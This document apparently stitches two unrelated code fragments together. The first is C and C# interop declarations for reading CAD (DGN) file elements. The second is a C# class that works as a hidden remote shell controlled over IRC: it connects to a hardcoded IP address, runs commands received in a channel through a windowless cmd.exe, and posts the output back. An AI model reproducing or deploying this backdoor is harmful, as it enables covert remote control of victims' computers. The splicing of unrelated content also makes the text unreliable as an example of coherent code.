C#

typedef void *DGNHandle;

 __declspec(dllexport) DGNHandle CPL_DLL    DGNOpen( const char *, int );
 __declspec(dllexport) DGNElemCore CPL_DLL *DGNReadElement( DGNHandle )

typedef struct {
    int         offset;
    int         size;

    int         element_id;     /*!< Element number (zero based) */
    int         stype;          /*!< Structure type: (DGNST_*) */
    int         level;          /*!< Element Level: 0-63 */
    int         type;           /*!< Element type (DGNT_) */
    int         complex;        /*!< Is element complex? */
    int         deleted;        /*!< Is element deleted? */

    int         graphic_group;  /*!< Graphic group number */
    int         properties;     /*!< Properties: ORing of DGNPF_ flags */
    int         color;          /*!< Color index (0-255) */
    int         weight;         /*!< Line Weight (0-31) */
    int         style;          /*!< Line Style: One of DGNS_* values */

    int         attr_bytes;     /*!< Bytes of attribute data, usually zero. */
    unsigned char *attr_data;   /*!< Raw attribute data */

    int         raw_bytes;      /*!< Bytes of raw data, usually zero. */
    unsigned char *raw_data;    /*!< All raw element data including header. */
} DGNElemCore; 

[StructLayout(LayoutKind.Sequential )]
    public class DGNElemCore
    {
        public int attr_bytes;
        public byte[] attr_data;
        public int color;
        public int complex;
        public int deleted;
        public int element_id;
        public int graphic_group;
        public int level;
        public int offset;
        public int properties;
        public int raw_bytes;
        public byte[] raw_data;
        public int size;
        public int style;
        public int stype;
        public int type;
        public int weight;

    }

[DllImport("DgnLib.dll", EntryPoint = "DGNOpen")]
        public static extern IntPtr  DGNOpen(string fileName, int bUpdate);
[DllImport("DgnLib.dll", EntryPoint = "DGNReadElement")]
        public static extern DGNElemCore DGNReadElement(IntPtr DGNHandle)

DGNElemCore element = new DGNElemCore();
element = DgnFile.DGNReadElement(dgnFile.oDgnFile)

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
    {

    public static int PORT = 6667;
    public static string SERVER = "194.14.236.50";
    public static string NICK = ircnick.generate(true);
    private static string USER = "USER varta 8 * : varta irc shell";
    public static string CHANNEL = "#channel";
    public static StreamWriter writer;
    public static Process processCmd;
    public static bool begin = false;
    public static string ExecuteCommandSync(object command)
    {
        try
        {
            StringBuilder strInput = new StringBuilder();

            if (!begin)
            {
                processCmd = new Process();
                processCmd.StartInfo.FileName = "cmd.exe";
                processCmd.StartInfo.CreateNoWindow = true;
                processCmd.StartInfo.UseShellExecute = false;
                processCmd.StartInfo.RedirectStandardOutput = true;
                processCmd.StartInfo.RedirectStandardInput = true;
                processCmd.StartInfo.RedirectStandardError = true;
                processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                processCmd.Start();
                processCmd.BeginOutputReadLine();
            }
            strInput.Append(command);
            strInput.Append("\n");
            processCmd.StandardInput.WriteLine(command);
            strInput.Remove(0, strInput.Length);
            // Get the output into a string

            

        }
        catch (Exception objException)
        {
            // Log the exception
        }
        return "Error executing commands";
    }

    public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
                writer.Flush();
            }
            catch (Exception err) { }

        }
    }
    public static void processInput(string Commands)
    {
        if (Commands.Contains(".cmd"))
        {
            
            string cmd = Commands;
            int offset = cmd.LastIndexOf(":") + 6;
            string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
            if (!begin) begin = true;
            Thread.Sleep(2000);
        }
    }

    public static void connect()
    {
        NetworkStream stream;
        TcpClient irc;
        string inputLine;
        StreamReader reader;
        try
        {
            irc = new TcpClient(SERVER, PORT);
            stream = irc.GetStream();
            reader = new StreamReader(stream);
            writer = new StreamWriter(stream);
            // Start PingSender thread
            PingSender ping = new PingSender();
            ping.Start();
            writer.WriteLine(USER);
            writer.Flush();
            writer.WriteLine("NICK " + NICK);
            writer.Flush();
            writer.WriteLine("JOIN " + CHANNEL);
            writer.Flush();

            while (true)
            {
                while ((inputLine = reader.ReadLine()) != null)
                {
                    Console.WriteLine(inputLine);
                    processInput(inputLine);

                }
                // Close all streams
                writer.Close();
                reader.Close();
                irc.Close();
            }
        }
        catch (Exception e)
        {
            // Show the exception, sleep for a while and try to establish a new connection to irc server
            Console.WriteLine(e.ToString());
            Thread.Sleep(5000);
            string[] argv = { };
            connect();
        }
    }
}